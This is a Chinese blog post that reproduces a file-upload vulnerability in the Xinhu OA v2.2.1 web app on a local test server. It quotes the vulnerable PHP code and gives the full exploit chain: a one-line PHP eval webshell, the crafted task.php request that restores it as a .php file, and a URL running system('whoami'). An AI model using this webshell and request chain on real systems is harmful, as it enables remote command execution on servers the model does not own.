前言
这个漏洞的复现呢也是借鉴了Y4tacker的博客(地址:https://blog.csdn.net/solitudi/article/details/118675321)
环境配置
环境:win10
phpamb 下载地址:http://www.rockoa.com/view_phpamb.html
下载phpamb,按照要求安装配置好之后
信呼v2.2.1文件上传漏洞复现-LMLPHP

然后在www文件夹下解压下载的信呼v2.2.1
浏览器访问http://127.0.0.1:829/ 会显示如图
信呼v2.2.1文件上传漏洞复现-LMLPHP
注意安装时的数据库地址为localhost:3307不然会报错,初始密码为空,这里我在配置文件里改成123456了
信呼v2.2.1文件上传漏洞复现-LMLPHP
登录
信呼v2.2.1文件上传漏洞复现-LMLPHP
登录后会强制修改密码,把123456改成其它密码就行了,至此环境配置成功。
信呼v2.2.1文件上传漏洞复现-LMLPHP
找到文件上传点
信呼v2.2.1文件上传漏洞复现-LMLPHP
2.2的文件上传漏洞是存在一个白名单的
信呼v2.2.1文件上传漏洞复现-LMLPHP
漏洞分析:白名单之外的文件后缀会被更改为uptemp后缀,并且拥有一个id属性
上传的文件内容会被base64编码
但是查看webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassAction的run方法

public function runAction()
	{
		$fileid = (int)$this->getparams('fileid','0'); //文件ID
		if($fileid<=0)return 'error fileid';
		$frs 	= m('file')->getone($fileid);
		if(!$frs)return 'filers not found';
		
		$filepath 	= $frs['filepath'];
		if(substr($filepath, 0, 4)=='http')return 'filepath is httppath';
		
		if(substr($filepath,-6)=='uptemp'){
			$aupath = ROOT_PATH.'/'.$filepath;
			$nfilepath  = str_replace('.uptemp','.'.$frs['fileext'].'', $filepath);
			$content	= file_get_contents($aupath);
			$this->rock->createtxt($nfilepath, base64_decode($content));
			unlink($aupath);
			$filepath 	= $nfilepath;
		}
		
		$msg 	= $this->sendpath($filepath, $frs, 'filepathout');
		if($msg)return $msg;
		
		$thumbpath	= $frs['thumbpath'];
		if(!isempt($thumbpath)){
			$msg 	= $this->sendpath($thumbpath, $frs, 'thumbplat');
			if($msg)return $msg;
		}
		return 'success';
	}

把后缀和内容都还原了,那这个漏洞的思路就是,先上传,然后抓包获取上传的webshell的id,再访问如下图网址,更改id,即可还原php文件内容,
信呼v2.2.1文件上传漏洞复现-LMLPHP
第一步:上传抓包,所用的一句话木马:1.php,内容如下:

<?php eval($_GET["1"]);?>

这里会得到两个数据包,在第二个数据包的响应包里能得到我们的id,filecontid=8,就是我们要得到的,并非id
信呼v2.2.1文件上传漏洞复现-LMLPHP
第二步:访问http://127.0.0.1:829/task.php?m=qcloudCos|runt&a=run&fileid=8
即可看到文件路径,并生成同名的php
信呼v2.2.1文件上传漏洞复现-LMLPHP
第三步:直接访问http://127.0.0.1:829/upload/2022-11/08_14565255.php?1=system("whoami");
成功实现命令执行,将whoami换成其它内容执行命令也可
信呼v2.2.1文件上传漏洞复现-LMLPHP

11-08 15:27